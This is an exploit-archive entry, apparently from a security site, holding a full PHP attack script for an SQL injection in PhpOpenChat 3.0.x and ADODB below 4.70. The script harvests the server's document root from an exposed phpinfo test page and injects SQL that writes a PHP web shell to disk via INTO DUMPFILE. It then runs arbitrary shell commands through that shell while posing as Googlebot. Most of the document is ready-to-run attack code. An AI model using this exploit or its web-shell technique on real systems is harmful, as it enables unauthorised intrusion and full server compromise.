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PhpOpenChat3.0.xADODB.txt

PhpOpenChat3.0.xADODB.txt
Posted Apr 14, 2006
Authored by rgod

PhpOpenChat 3.0.x and ADODB versions less than 4.70 SQL injection exploit. Requires a blank mysql root password.

tags | exploit, root, sql injection
SHA-256 | 52e060638d3b695d7178ecc602a375536408442e2504a9b0d5ba9ff349dd7426

PhpOpenChat3.0.xADODB.txt

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#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PhpOpenChat 3.0.x ADODB Server.php \"sql\" SQL injection\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "dork: Welcome to your PHPOpenChat-Installation!\r\n\r\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to PhpOpenChat\r\n";
echo "cmd: a shell command\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /chat/ \r\n";
echo "php ".$argv[0]." localhost /chat/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
die;
}
/*
this is based on

http://www.securityfocus.com/bid/16187

but... look at the server.php source code:

...
$driver = 'mysql';
$host = 'localhost'; // DSN for odbc
$uid = 'root';
$pwd = '';
$database = 'test';
...

you need a "root" user with no password, an existing "test" database
and Mysql to have certain rights to write files...
so, this vulnerability is... in sf dreams
however, if you want to loose time to test a vulnerability that does not exist,
here is the code for PhpOpenChat, you can easily change it to work against
the program you want
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

#step 1->read DOCUMENT ROOT from phpinfo
$packet ="GET ".$p."include/adodb/tests/tmssql.php?do=phpinfo HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("DOCUMENT_ROOT </td><td class=\"v\">",$html);
$temp2=explode(" </td></tr>",$temp[1]);
$fullpath=$temp2[0];
$fullpath=trim($fullpath);
echo "DOCUMENT ROOT ->".$fullpath."\r\n\r\n";
$fullpath=str_replace("\\","\\\\\\\\",$fullpath); // win boxes
if ($fullpath=="")
{
echo $html;
die("\r\n\r\nCannot read phpinfo ...\r\n");
}

#step 2->execute a query (you can regardless of magic_quotes_gpc)
$SQL ="SELECT '<?php echo chr(0x2a).\"delim*\";passthru(\$_GET[\"cmd\"]);echo chr(0x2a).\"delim*\";?>',0,0,0,0,0 ";
$SQL.="INTO DUMPFILE '".$fullpath."/suntzu.php' FROM poc.poc_user_account LIMIT 1";
$SQL=urlencode($SQL);
$packet ="GET ".$p."include/adodb/server.php?sql=$SQL HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"Access denied") || !strstr($html,"200 OK") || strstr($html,"Can't connect"))
{
echo $html;
die("\r\n\r\nExploit failed...\r\n");
}
sleep(1);
#step 3->launch commands
$packet ="GET /suntzu.php?cmd=".$cmd." HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (!strstr($html,"*delim*"))
{
echo $html;
die("\r\n\r\nExploit failed...\r\n");
}
else
{
echo "Exploit succeeded...\r\n";
$temp=explode("*delim*",$html);
echo $temp[1];
}
?>

original url:

http://retrogod.altervista.org/phpopenchat_30x_sql_xpl.html
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